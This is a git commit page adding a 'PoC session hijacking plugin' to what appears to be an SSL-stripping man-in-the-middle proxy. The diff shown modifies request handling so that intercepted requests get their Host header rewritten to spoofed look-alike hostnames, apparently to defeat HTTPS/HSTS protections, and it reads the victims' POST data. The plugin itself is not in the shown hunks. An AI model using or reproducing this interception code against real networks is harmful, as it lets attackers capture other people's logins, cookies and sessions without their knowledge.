added PoC session hijacking plugin

This commit is contained in:
byt3bl33d3r 2014-11-26 20:01:28 +01:00
parent e2132a6ca9
commit e4cf519356
7 changed files with 69 additions and 17 deletions

View file

@ -76,11 +76,22 @@ class ClientRequest(Request):
del headers['if-none-match']
if 'host' in headers:
host = self.urlMonitor.URLgetRealHost("%s" % headers['host'])
logging.debug("Modifing HOST header: %s -> %s" % (headers['host'],host))
headers['host'] = host
headers['securelink'] = '1'
self.setHeader('Host',host)
real_host = self.urlMonitor.URLgetRealHost("%s" % headers['host'])
#logging.info("Modifing HOST header: %s -> %s" % (headers['host'],host))
if 'www.' in real_host:
fake_host = 'w' + real_host
headers['host'] = fake_host
fake_host = self.urlMonitor.URLgetRealHost("%s" % headers['host'])
headers['securelink'] = '1'
self.setHeader('Host', fake_host)
logging.info("Modifing HOST header: %s -> %s" % (real_host,fake_host))
else:
fake_host = 'web' + real_host
headers['host'] = fake_host
fake_host = self.urlMonitor.URLgetRealHost("%s" % headers['host'])
headers['securelink'] = '1'
self.setHeader('Host', fake_host)
logging.info("Modifing HOST header: %s -> %s" % (real_host,fake_host))
return headers
@ -112,7 +123,12 @@ class ClientRequest(Request):
host = self.urlMonitor.URLgetRealHost("%s" % lhost)
client = self.getClientIP()
path = self.getPathFromUri()
self.content.seek(0, 0)
try:
self.content.seek(0, 0)
except:
pass
postData = self.content.read()
real = self.urlMonitor.real
patchDict = self.urlMonitor.patchDict